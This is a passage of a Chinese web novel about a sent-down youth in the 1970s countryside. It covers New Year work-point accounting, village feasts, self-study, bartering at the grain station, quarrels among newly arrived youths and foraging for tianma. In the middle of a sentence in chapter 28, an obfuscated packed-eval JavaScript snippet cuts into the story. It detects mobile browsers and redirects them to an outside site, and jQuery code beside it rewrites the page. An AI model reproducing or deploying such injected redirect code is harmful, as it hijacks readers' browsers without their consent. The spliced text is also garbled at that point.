帮牛棚那边取回的包裹是不好提前拆开的,等入了夜,林见春才用车载着跑了一趟。 鲁豫达和仇梦合力拆了包裹,露出其中的一应用具和少量钱票。 两个人对这些明显都是有数的,拿出来放到一边,把捆得严严实实的被褥揭开,里头才是陶兴给林见春准备的谢礼。 这谢礼主要是一些课本,为了掩饰,面儿上的书皮都给换成了语录的红封。 “老陶回去之后发觉形势有变,不少老领导都在为是否恢复高考争吵不休,不管怎么说,多学总没坏处,万一真给恢复了,也不至于毫无准备。” 工农兵大学需要推荐,林见春既然被分配下乡,那就说明家里没这个条件帮她推荐,这样也好,正儿八经考上去的才更受老家伙们喜欢。 这话三哥也说过,所以林见春点了点头,道过谢把书给收下了。 除了课本,陶兴还给林见春准备了一支钢笔。 这钢笔看着不像新的,但保存得很好,一看就是原主人非常爱惜的,而且这笔的笔盖是纯净,笔身也贴了钻,也不知道怎么藏的才留到现在。 “这笔……” 林见春下意识想拒绝。 陶文斌却知道老师的用意,不给她推拒的机会,直接帮着几位长辈把包裹收起来稍后再一一归位。 “老师给的东西还请林知青收下,首都形势虽缓,我们的处境却不见得能跟着好起来。黎明前的黑暗是最黑的,说不定那些人明年还会找我们的麻烦,企图用我们的存在来拉一些人下马,所以我们一点儿马脚都不能露,包括采药换粮的事儿也得停一停。” 采药换粮这事儿的确得停了。 三哥和方哥都说黑市情况不好,林见春自己都不打算再去“小黑街”,自然也不会为了帮牛棚这些人铤而走险。 “这事我正要跟你们说,公社那边的熟人提醒我不要再频繁地搞出动静,所以来年只能紧着点儿。” 陶文斌几人表示理解。 这回林见春直接帮他们换回来四五百斤粮,加上大队给的救济粮,紧着点儿吃上半年不成问题。 “如今这样已经很好了。” 这几个月陶文斌脸上也养出了肉,难得的月色下看起来眸色温润,让林见春觉出了些许不同。 不过林见春也没往深处想,回以一笑,骑车走了。 还有几天就过年了,地里没活儿,大队就给知青点放了假,不少老知青都请了探亲假回城,只有零星几个和今年才分配过来的知青在知青点留守。 等到年三十,酱厂也放了假,大队召集社员,开始核算工分、划拨粮食以及当年结余分账。 这事儿跟知青也有关系,毕竟来年的口粮全靠今年的工分。 林见春丝毫不期待,纯是因为她知道自己没怎么正经干活,就算有工分,那点儿也不够她平时吃喝的。 果不其然,计分员那边拿出账册,她对应的那一页上头半年计下来一共就505个工分。 “……” “…………” 不说大队社员,就是那些不怎么喜欢她的知青也替她捏了一把汗。 林见春脸上也热,不过她也是有正经事儿干的,所以有些方面就得自行取舍,这工分就是被她“舍”掉的一方。 工分不多,林见春干脆就全划给了徐三婶。 “来年我还要住婶子家,这工分划给婶子,到时候分粮直接分到婶子名下。” 她这话摆明了就是只要粮食,不参与分账,所以大家都把嘴闭了个严实。 毕竟再少也是能独分一份钱的,少了她,大家多个一两块的进账也好。 核完工分,牛队长也把这俩月的结余给拿出来了。 虽说大头还在酱厂,但今年是第一回看到地理出息以外的收入,分得再少大家也高兴。 有几家工分多的,这一分就是好几十,可不比成天盯着地里强? “是不是该杀年猪了!” 不知道谁吆喝了一声,钱到手的人也纷纷讨论了起来。 今年不止有额外收入,大队养的猪和养也长势不错。 按照往年惯例,这羊是没法吃的,但猪可以留一头给大队自己杀了分肉,那一杀就是二百来斤肉,一家能分个好几斤,省着吃能吃到春耕后了! 牛队长也知道大家一年到头就盼着这么点儿荤腥,事儿处理得差不多了,就没再难为大家火热的心。 “行,那去按一头杀了,拖到打谷场分。” “哈哈哈!太好了!杀猪咯!” “杀猪咯!杀猪咯!” “分肉!分肉!” 这时候人口少的人家就有些吃亏了,不过牛队长还算公道,这事儿上吴村长也不会站出来做恶人,所以肉是按人头分,连小宝这个小不丁点儿的人也分到了半斤肉。 之前林见春也拿了3斤羊椎骨出来,徐三婶一直没来得及做,所以用水冰过之后腌在了罐子里,今天再一分肉,正好能够过个肥年。 林见春正和小宝正盘算着今年的除夕菜色,那头冯悦就一脸喜色的找上了门来,说他们准备在知青点做一桌菜团个年。 林见春毕竟还是知青的一员,平时三天两头见不着一面,过年这种时候还不合群的话来年怕是有人会找麻烦,所以想了想,林见春还是跟徐三婶说了一声,带着这几天“签到”所得的5个鸡蛋和1斤玉米面跟冯悦走了。 说来也是巧了,这几天“签到”都没什么好东西,就连吴村长家也只是给她带来了1斤玉米面的收益,这回带去知青点吃大锅饭还正合适。 冯悦对林见春带的东西倒是没什么意见。 知青点平时吃的基本都是粗粮,偶尔馋得狠了才会把细粮拿出来少做一些解馋,她这会儿带的玉米面虽然是粗粮的一种,可面粉质地细腻,比着小麦面粉也没差多少,一会儿炖菜时烀上饼子也能吃得很香。 林见春却见她这脸上的高兴不像只是因为过年,忍不住多嘴问 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大家都是照面的交情,自然用不上客套,互相打了个招呼,冯悦就领着林见春进灶屋帮忙烧火了。 林见春本以为大家这顿饭就是吃个意思,没想到正式上灶的居然还有肉。 看她表情实在惊讶,掌勺的女知青才跟她说起这肉的来历。 “这是李春景李知青回城前给捎过来的,说是想着我们每年都有知青回不了家,沾点荤腥也能解一解乡愁。” “……” 林见春暗叹这人好话说得难听。 谁家乡愁是吃不着肉啊? 不过这肉菜可是实实在在的,像她就舍不得把肉拿到知青点做人情,人再不讨喜也实打实的拿出了东西,记他一个好也是应当。 “李知青去了酱厂也还是在知青点住吗?” “没呢,李知青毕竟做了厂干部,知青点的作息跟他不搭,真要在这儿住也睡不安稳,哪有精神给厂子办事?” 林见春确实不太了解酱厂干部需要做些什么,闻言只点了点头,没再问李春景在哪儿住之类的话。 掌勺的女知青看起来对李春景也没几分好感,但吃着人家给的肉,也不好放下碗就骂,所以灶房一时安静了下来。 团年饭端上桌,肉菜一锅炖的大盆菜、鸡蛋饼、玉米面饼、炝炒土豆,加上两样这几天知青点一起上山弄的野菜,摆起来也是满满一桌。 不过厨艺有限,这顿饭吃着还是没徐三婶做的有味儿,林见春没好表现出来,只慢慢吃着,等大家都吃得差不多了才顺势放下了筷子。 她吃得少也瞒不了同桌的人,只是大家都不熟悉,她少吃两口,他们就多吃一口,说不说的也就无所谓了。 不过一顿饭吃下来,大家回不了家的情绪也确实稍稍淡了一些。 两个女知青是自个儿不愿意回家,情绪本就没被影响多少,这会儿见气氛好起来了,她俩也轻松了一些,看着这个不大的知青点说起了闲话。 “照往年的情况,咱们知青点翻过年就得来新人了,到时候这儿指定更不好住,也不知道大队能不能同意我们往旁边再建一间屋子。” 林见春还以为下乡都是夏季分配,闻言也是惊讶非常。 “过完年也会安排一批知青吗?” “对咯,正常情况下是夏季安排一批毕业生,但好多学校等不到夏季才放学生,所以每年3月都会有一批人因为找不到工作被分配下来。你们来之前没分配是因为牛队长跟公社闹了一通,可总不能年年都去闹,所以来年3月那一批是躲不过了。” 怪不得酱厂开办之初大队长都不乐意去公社找人呢,原来根由在这儿呢? 林见春暗觉好笑。 不过知青分配也影响不到她,徐三婶家就三间屋,一间还是堂屋,不可能再让别人借住了,影响不到她。 她这边不忧不愁,另一边冯悦却被勾起了难过的情绪。 “说是结婚了就算正式落户,但你这结婚的对象又不是本地人,大队没办法给你们批地建房,你想过这个问题没有?结婚后总不能也还在知青点住着吧?” 结婚了,生活总跟婚前不同,就是人家不介意,知青点的人却不见得想撞见小两口的事儿。 冯悦耷拉着眉眼不知道怎么办。 刚下乡就被偷了钱,之后虽说家里也给她寄了一点,可信上说的并不好听,不然她不至于这么草率就决定结婚。 诚然,她的对象是个不错的人,可不能随军也是个问题,整个大队就那么大点儿地方,没谁家会愿意把自家房子借给新婚的两口子住。 “不行就等驻地的领导过来了我再问问吧……放心,婚后我肯定不住知青点的,不会带男同志进你们住的地方。” 见冯悦还算懂事,两个女知青也没别的话说了。 她们今天开这个口也是代其他女知青问问情况,万一人死活赖着,她们也得想办法跟牛队长反映去。 “不管怎么说这都是一件喜事,过了正月初,你得赶紧告诉家里这事儿了吧?让家里都小心这些,别临了政审出了问题。” “嗯。” 28. 怀念李春景 春节一过,大队的年味儿就逐渐淡了下来。 这段时间酱厂没开工,小宝也没去牛棚学习,林见春就带着人窝在屋里自学。 几位老师轮番教下来,小宝的进步可谓巨大,不仅认字、算术都学得不错,就是《本草经》里常用的药理他也记了个囫囵,有事没事就背上两句,连带着林见春自己也听熟了,本就有些忘了的内容又在脑子里清晰了起来。 小宝这天赋将来指不定能成为一个大医生! 林见春想着目前尚不明确的前路,默默盘算着将来如何把小宝带到城里去。 可思绪杂乱,林见春也摸不准未来会如何,只能暂时压下想法,全身心地投入到自己的学习中去。 老陶大夫送的课本虽说也是高中课本,但或许是地域差别,课本内容比龙塘学校里的课本要难上一些,如果不是提前学了更高深的内容,光把这套课本学明白就得耗费不少精力。 当然,虽然比不上三哥送的书本难度,这套书学下来林见春也觉得受益不少,其中一些知识点对她之后的学习相当于奠定基础,也带着她的思维发散到此前从未想过的方向。 有帮助,林见春就三套书一起学了,这样一来进度自然就慢了。 不过为了之后能够更好的学习,林见春还是接受了这个进度,没有急于把老陶大夫送的课本翻阅完,而是顺着目录配合知识结构自己排出了课表,将未来一个月安排得满满当当。 学习之余,林见春也收到了来自首都的回信。 程老师并没有在信中询问她是从哪儿来的他的通信地址,通篇都在解答她的问题,几大张信纸看不出一丝涂改的痕迹,但解答之中也有更正,可见是先打了草稿才正式写入回信。 这么好的老师林见春也不想辜负,之后遇到问题也先在废纸上演算,实在解不开或者觉得阻塞再誊抄下来,如此一来,有些问题就难免带上了探讨的意味。 趁着元宵佳节,林见春又跑了一趟公社,这次也没去别的地方,一到公社就直奔邮局,满怀期许地将信件寄出。 不过来都来了,该维系的关系还是得去看一看。 方哥那边暂时不好去,她手里也没什么好东西,所以就在供销社买了点不要票的糖果和几瓶汽水,前前后后也就花了1块钱,一股脑塞给了来开门的牛虻子。 过年了,牛虻子也好好洗了洗,林见春也是这会儿才发现她是一个才十来岁大的小姑娘,也不知道是不是方哥的亲戚,平时为什么会邋遢成那个样子。 牛虻子收了东西还懵着,可林见春不让她推,她也只能先收着了。 “姐是要找方哥吗?我去给你叫人。” “不用叫了,我今天就是顺道来一趟,一会儿还得忙别的去。” 牛虻子有些犹豫,但不知道想到了什么,还是道了一声谢,点头答应了。 这一个来回,林见春正好把今天的“签到”机会给用了。 或许是方哥已经有所顾忌,也或许是这个年大部分货物都被人换走,反正这回林见春只随机获取到一包拆封过的红糖,看着像是有个2斤。 林见春叹了口气,想着自己这胃口也是被前几次养大了,暗暗笑过自己,这才跟牛虻子道别。 从八旗街出来,林见春又掉头去了粮站。 粮站春节不休息,更何况这会儿已经正月十五,黄二姐早开始坐班了。 见林见春过来黄二姐也是高兴得很,得亏她之前那些东西给做的人情,这个年他们一家过得可算滋润。 “妹啊,新年好!今天想买点粮还是怎的么?” 空间里还有不少东西,暂时亏不着,而且她给了小宝10块压岁钱,刚又花了1块钱买糖买汽水,这会儿全身上下的现钱就只7块,买什么都有点够不着。 林见春摇了摇头,从衣兜摸了一把奶糖出来。 “今天就是过来看看二姐。” 奶糖现在也是稀缺物了,不过黄二姐帮她良多,这奶糖她给得不心疼。 黄二姐喜笑颜开,也从抽屉里掏了一大捧花生出来往林见春兜里揣。 “你也吃吃这个!自家炒的焦花生,香的嘞!” 花生本就多油,在和砂一炒,那油气更是明显,吃起来怎么可能不香? 自家做的东西也不值当什么,林见春没有退却,就陪着黄二姐吃着喝着聊了一会儿。 看着时间差不多了,林见春才说要走。 黄二姐却拉了她一把。 “马上进3月就得春耕了,真不买点粮回去?到时候能吃得消吗?” 林见春倒是真把这事儿忘了。 春耕也是小农忙,加上还有新知青要分配,牛队长不可能还让她过得那么潇洒,平白给其他新知青递上闹起来的把柄。 但她在徐三婶家住着,还有半年的下乡补贴可以领,加上去年多多少少也挣了500个工分,摊下来虽然领不到多少钱,但工分全划给了徐三婶,也让徐三婶多分了一些粮食。 再加上她还有存粮,每天多少也有一些进账,短期内缺不了口粮。 “谢谢二姐,之前家里给寄了东西来,吃过春耕不成问题,等农忙完了我再过来买新粮。” 她这么说,黄二姐就没再劝。 毕竟人缺不缺吃的看脸就能看出来,到时候人真瘦了她再帮也成。 “那行吧,有事儿就过来知会一声,能帮的姐一定帮。” “好。” 这回从公社出来,林见春才是真正的一身轻松。 进了3月,公社干部结对到乡进行春耕动员。 东旺大队办了厂,今年分配的指标也相应降低,不过大家都是种惯了地的,不可能白放着地不管,所以还是按牛队长的安排,社员进行育秧插种、小麦追肥除虫,知青和牛棚的人进行除草排沟,忙完这些,差不多就能给龙塘那边的百货大楼送货了。 分配好活,牛队长得去县城接新分配的知青。 如之前那位女知青推论的一致,今年牛队长没能犟得过公社,甚至直接给分配了8个新知青! 原本年前回城探亲的知青就有4个结婚留城的,这一分配,相当于把走的那几个也给补上了,气得牛队长只想撂挑子不干。 不过如今大队很多婶子阿婆都进了厂,多来几个人的确对大队更有益,所以哪怕不喜欢干啥啥不行的知青,牛队长也只能捏着鼻子认了。 林见春不知道牛队长在心里祈祷可别再碰上她这样的,趁着人还没出大队,追过去想跟着去一趟县城,然后被牛队长狠心拒绝了。 她的本意是去县城看看能不能弄到奶粉,但去不成也没法,只能等下次再找机会了。 县城一去就是一天,临近晚上,林见春特意去知青点凑了个热闹。 但她去的时间不凑巧,正赶上牛队长黑着脸从知青点出来。 “大队长,这是咋啦?” 牛队长瞪了她一眼,“少管闲事!跑过来干嘛?不回去歇着,明天又不干活了?” “……” 真吃木仓药啦? 牛队长气哼哼地走了。 林见春进了知青点,见武琪正也一脸不高兴地在外头掸被子,连忙过去打听了一下。 “刚撞见牛队长老大不高兴的样子,这是怎么了?” 武琪心有戚戚地瞥了一眼屋子,也不掸被子了,凑到林见春耳朵边上嘀咕。 “还不是因为来了个高干子弟,听说是省GW一个干部的侄女儿,来了看哪儿都觉得不顺眼,还把我赶出来了,说我被子不干净。” “我呸,我还见她裤腿上有泥呢!我这被子不干净也是她穿着带泥的裤子往床上坐给我蹭脏的!” 林见春着实有些无语。 这武知青的确大大咧咧的,但人家一直都是当天的衣服当天洗,就连她也在河边碰上过好几回,不是洗衣服就是洗被子,可见那新来的知青不是刻意找麻烦,就是想找个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087495|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来给自己“立人设”。 三哥可常说,有些人就是这样,讨人嫌还不自知,偏喜欢在人前给自己立标榜,非整个“虚假人设”出来,人骗不到几个,倒是先把自己给骗过了。 “今天来了几个女知青呀?你们还住得开吗?” “来了3个女知青,我瞧着有两个是一伙儿的,另一个女知青来看过之后就想去找人家借住,被她俩逮着一通说,这会儿也不知道背着包去哪儿了。” “……”林见春张了张嘴,愣是不知道该怎么评说。 不过今年回城的几个知青里有2个都是女知青,冯悦的事儿真要办成了,新来的3个也能住得下。 武琪却不这么想,撇了撇嘴,“走掉那个女知青看着人还好点儿,那俩一伙的我才真巴不得她们出去找人家借住,省得把知青点闹得乌烟瘴气的。” 说完,声音又压低了一些,“我瞅着她们仨跟男知青里头最精神那个有点猫腻,像是都喜欢那男知青,但人只喜欢被找麻烦那个,还帮着她说话呢!这会儿人好像也不在,应该是出去找人去了。” 一听掺杂感情纠纷,林见春顿时失了兴致,意兴阑珊地扯了下嘴角,跟武琪说了再见。 “明天还要干活,你收拾好了也赶紧休息吧,别闹太晚了明天干活都没精神。” “唉……” 这时候,知青点的人就莫名怀念李春景了。 这人虽说人不咋地,但喜欢管事儿,要还在知青点的话,也能稍微管一管这几个人。 也不知道晚上是不是又闹了一通,第二天上工,知青点的人大多没什么精神,唯独三女一男还算平静,但被其他知青排斥在外,单独分到了一小块地。 林见春虽说跟知青点其他人也不熟,但毕竟是一起相处过的,所以她被分到了冯悦、武琪和另外一个女知青一队。 这会儿看大家精神不佳,她又按捺不住好奇心,便一人悄摸塞了颗糖,向她们打听。 甜滋滋的味道在口中散开,几个人的脸色也跟着好了起来,压低声音,三言两语的跟林见春说起昨晚的情况来。 “那被针对的女知青叫兰花,是淮市一个师长的孙女,男知青叫蒋政,好像家里长辈是兰知青爷爷的勤务兵,这回特意打了申请跟过来的。” “那俩一伙的,王娇娇和许娉月,前者是干部子弟,后者是借住在兰知青家里的孤女。哦对,那王知青就是省GW干部的侄女。” “昨晚半夜这仨又吵起来了,好像是王知青和许知青给兰知青使了绊子,兰知青找不到人家借住,只能回知青点来,但她们仨在火车上就已经闹过一通了,王知青说兰知青偷钱,兰知青说王知青偷东西,那蒋知青一会儿劝这个,一会儿劝那个,结果一个也没劝好,反而搞得我们男女两头都没休息好。” 武琪打起了哈欠,紧跟着其他两人也打了个哈欠。 林见春见她们实在是困,心里很是复杂,不禁又庆幸自己果断借住到了徐三婶家,不然今天吃这苦的就该多她一个了。 “不是说要找大队长提建房子的事吗?男知青那边应该已经住不下了吧?天气这么冷,他们受得住啊?” “这事儿我们倒是已经跟牛队长提过了,牛队长也松口了,但这段时间不是春耕吗?所以要建也得等这个月忙过了来。” 3月差不多得忙一整月,4月稍微松快些,到时候估计能腾出空手来。 就是这房子估计也建不了多好的,毕竟5月就得开始新一轮的农忙,到时候还得他们知青点的人自己想办法拾掇。 “既然松口了,冯知青不如问问牛队长能不能在大队批一块地单独修一间?” 冯悦昨晚也被闹得够呛,所以木顿顿的脑子也转了起来,想了会儿,点头了。 “不过单我一个去提恐怕没什么用,等驻地的领导过来了我再提吧。” 驻地领导的话确是比知青的话有用。 林见春也点了点头,没再提其他。 29. 花生 3月里,林见春实打实的干了一个月的农活。 好不容易熬到4月5日,林见春赶紧找了个机会跑了一趟公社,这才找到机会把空间里的肉拿出来过个明路。 从春节到现在,她是一点儿好东西也没弄到,所以每天“签到”之后东西就随意塞进了格子里,这会儿拿肉出来才顺手把东西重新整理了一下。 活儿干得多了,晚上熬夜看书的时间就长了,年前还有62斤的灯油现在只剩50来斤,本子还剩9个,奶糖也吃得一个不剩,硬糖倒是还剩十几个,差不多只够这次去找黄二姐时给她了。 除了这些,其他吃的倒是又攒了不少。 现在空间里大米和粗粮是最多的,一个172斤,一个96斤,等8月没了知青补贴,也够她拿出来每个月交给徐三婶一部分做口粮了。 小麦面粉现在是6斤,油是15斤,盐10斤,白糖4斤,红糖2斤,花生10斤,蛋22个。 再就是肉。 过年那会儿大队分了肉,所以她只拿了羊椎骨和2斤排骨出来,所以这会儿空间里还好好放着那只鸡和6斤猪五花、10斤猪排骨、10斤鲜羊肉。 这回林见春打算先拿2斤猪五花和5斤排骨出来,面粉和鸡蛋、白糖可以和肉一起交给徐三婶,油得拿5斤,盐也先拿3斤。 自己的口粮不成问题,林见春又难免想到了海城那边。 虽说之前去信说了不用给她这边寄钱票,可3月里大哥大嫂还是给寄过来20块钱和20斤粮票,信里还说他们不缺粮,不让她再给寄过去了。 可大嫂的肚子差不多也鼓起来了,她这空间里的肉又不方便寄过去……只能看看黄二姐那儿能不能帮忙,用红糖做人情,多换些花生给寄过去,再不行就拿羊肉来换,毕竟这玩意儿比猪肉金贵,指定能比红糖勾人。 把东西分好,林见春就蹬着车去了粮站。 黄二姐最近也忙着。 4月下旬差不多就要开始收冬小麦了,虽说各大队到时间会安排人把公粮送过来,可粮站里还有不少昨年的,这些都得想办法处理一下。 林见春来得也是巧。 一听她要给远在海城的大嫂寄东西,黄二姐就直接开口劝她买一批不要票的小麦面粉寄过去。 “这面粉在咱们这儿算不上稀奇,可海城那边是不种小麦的,你给你大哥大嫂多寄一些,保不齐其他家属也有爱吃这口的,到时候再换点别的也方便。而且咱们粮站的米面都保存得很好,一点儿也没受潮,保准亏不着你大哥大嫂!” 林见春想想也是,而且面粉在邮寄途中会有损坏,海城那边的天气也存不了多久,到时候让大哥整理一下,拿去跟其他来自内陆的军属换点鸡蛋蔬果什么的也行。 “那二姐帮我看看这东西怎么换?” 红糖2斤、鲜羊肉5斤,光这两样在黑市就能卖到将近20块的高价。 黄二姐跟林见春也是这么久的交情了,自然不乐意看她吃亏,所以想了想,两样东西给她估了个18块,小麦面粉给她算1毛8,这样刚好可以给她换100斤。 这换法的确划算。 “二姐,我还想换点花生来着。” 黄二姐吊了吊眼角,“放心!你的糖姐不白吃,我老家那边就种了不少花生,前头刚给我送了几十斤,一会儿我给你装20斤,都是晒干的,你先寄给你大嫂吃着,等今年收了新鲜的,我再让老家那边儿给你多留点。” “怎么好白要……” “嗐!瞎客气是不是?你都叫我一声二姐了,平时又没少给我糖吃,那20斤花生我能再收你东西?行啦,给你你就收着,没你的话这羊肉我还吃不着呢!” 林见春直笑,倒也没再推。 “二姐,我这儿还有20斤的粮票,麻烦你给我划一下,我再买20斤大米。” “成。” 面粉和花生也都是现成的,黄二姐跑了一趟,林见春要寄的东西就全乎了。 “那我就先去邮局了,回头我想办法给二姐弄一只鸡来,到时候二姐也别拒绝。” 这年头鸡可不好弄,黄二姐也不知道当没当真,笑呵呵把人送出了门。 “行呀!那我可等着吃啦!” 从粮站出来,林见春到邮局把东西寄了。 看着只剩23块8的现钱和有些空旷的空间,林见春还是忍不住叹了一口气,默默盘算着回去就得请假,多去山上转悠一下,看看能不能再弄到野山参和野鸡野兔之类的。 活儿不多,牛队长就批了林见春的假。 反正人出不了大队,这山上也有驻地划的道儿,没法往深处走,也不怕人进了山出不来。 但没徐三婶跟着,林见春就只能把小宝放到牛棚去,一个人去山上。 这段时间山上还有些冷,林见春不敢太放纵,老老实实扎紧了袖口裤腿,又批了件外套才背着背篓出门。 一段时间没上山,山道上已经长出了不少新草,林见春也怕会有苏醒的虫蛇,拎着棍子边打边走,倒是免去了裤腿沾湿的麻烦。 当然啦,天刚见暖,她想要的荤腥在山外围是找不到的,所以循着老路一路走过去,直到发现去年留下的标记才停了下来。 在这地方,她靠“签到”获取过野山参和野鸡野兔,可谓一处“洞天福地”,所以一经确定周边环境没有太大的变化,林见春就直接打开了方屏,在这儿进行了今日的“签到”。 结果不尽人意。 野山参没有,野鸡野兔也没有,只有一窝灰扑扑的天麻。 天麻通常是冬季最肥,清明前后基本就是踩个尾巴,进包的这窝天麻已经生了嫩芽,估摸着再过段时间这天麻的药效就会降到最低了。 林见春在立马采摘和养肥了摘冬麻之间犹豫了一会儿,干脆还是拿出借用的小宝的小锄头在附近翻找起来。 大嫂那边暂时是没法吃天麻的,不过爸妈年纪大了,偶尔用天麻炖点汤喝对身体也好。 而且三哥那边没出漏子的话应该也已经进了收购站了,多弄点天麻晾晒好交给三哥,也好找找机会换点大嫂能吃的东西送过去。 说干就干。 春麻的芽不太好找,找到最后,林见春直接近乎趴伏在了草堆上。 不过这样的做法也让成果非常直观,光看她背上那小半篓子灰扑扑的天麻茎块就知道。 这活儿也不好干,费眼睛不说,体力也不太跟得上。 林见春估摸着肚子里那点儿东西撑不了多久了,从地上爬起来拍了拍枯叶和土渣,准备打道回府下山吃饭了。 结果山道走了一半,朦胧的声音从林子一角传来。 林见春听着那声音不像是野物,下山的脚步就慢了下来,果然,没过多会儿,几个吵吵嚷嚷的人就穿过林子跟她打了个照面。 “啊——” 突然的惊叫吓了林见春好大一跳,回神看过去,那叫出声的赫然就是下乡一个月就没消停过的王娇娇。 林见春很是无语。 地里活儿不多的时候,大队多的是人上山,也就是现在婶子阿婆多去了酱厂上工,没空到这山上来挖野菜,不然这几个人至于才撞见她一个吗? 比起王娇娇,兰花和许娉月明显冷静得多,蒋政看起来倒是对林见春也没几分好感,颇有些嫌恶的瞥了她一眼就匆匆收回视线。 林见春心想自己还没说什么呢,这俩人倒是先嫌弃上了,顿时也没了好气,只看向也是一脸不耐烦的兰花。 “兰知青,有什么需要帮忙的吗?” 兰花对这三个人的厌恶简直藏也藏不住。 或许刚下乡时蒋政还有些特别,可这一个月朝夕相处,修 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这四人的恩怨林见春不想管,但也担心她走之后兰花在这山上吃亏,到时候真出了事儿,照那三个人的性格,指不定还会把事儿牵扯到她身上去。 他们是好是坏无所谓,可她在大队可没什么好名声,别到时候追起责任,叫那些担心被那位“王干部”牵连到的人给哄叫着追责了。 “兰知青跟我来吧,我知道一个地方有不少新鲜的野菜。” 林见春也不管那些人跟不跟,反正她只跟兰花搭了话。 兰花道了一声谢,回头以厌恶的目光盯了蒋政一眼,也不管其他两个什么态度,直接跟上了林见春的脚步。 走了一段,林见春发现那三个竟然没跟上来。 兰花也看出了她的不喜,心里有些过意不去,又似多种情绪糅杂在一起,心里承受不住,就这么小声哭了起来。 “……”林见春被她哭得头皮发麻,可人都带过来了,不管不问似乎也不太好,只能干巴巴地劝她,“实在烦他们平时就别搭理,最好是把他们当空气无视掉,次数多了,他们自然就不来烦你了。” 被街道那些阿婆追着说亲的时候她就想这么干,可惜爸妈都在街道上班,她的态度在某些情况下也能牵扯到爸妈,所以才硬生生地憋住了。 兰花跟那几个烦人精却不同,都下乡了,没那么人情可讲,能过就过,不能过就散伙,顶多就是招大队长烦,其他没什么损失。 哭了一会儿,兰花也缓过了劲来。 “谢谢你跟我说这些,我想过搬出知青点找乡亲借住,可我一去,他们几个也都跟着,闹得原本愿意让我借住的人家也烦了。” “大队还是不给批地建房吗?实在不行的话,牛队长那边没问过吗?他好歹是大队长,家里也有空房,你过去借住的话只需要说服他和雪花婶就行,那几个想坏你事儿也得掂量一下。” 兰花像是没听懂似的。 林见春心说这人别是个沉浸在自己世界的“聋子”,兰花却突然想通了似的大喘了一口气。 “我明白了!谢谢你!林知青!” 林见春不知道这话有什么可激动的,不过人既然有打算,她就不准备多话了,带着人在林子里转了一圈,指了几个野菜比较多的地方给她。 “今年上山摘野菜的人还比较少,我估计着等这一批大豆种下就会多起来,你要是想备点儿野菜之后吃,那最好是趁着这段时间摘一些嫩点儿的回去阴干。” “好,我摘的野菜一会儿分一半给你,算是答谢你对我的帮助。” “不用了,我借住的人家不缺野菜。” 徐三婶去年晒了许多野菜,大哥大嫂寄的那些干菜也还没吃完,马上徐三婶的自留地也快接上趟了,她可不想吃那些苦了吧唧的野菜。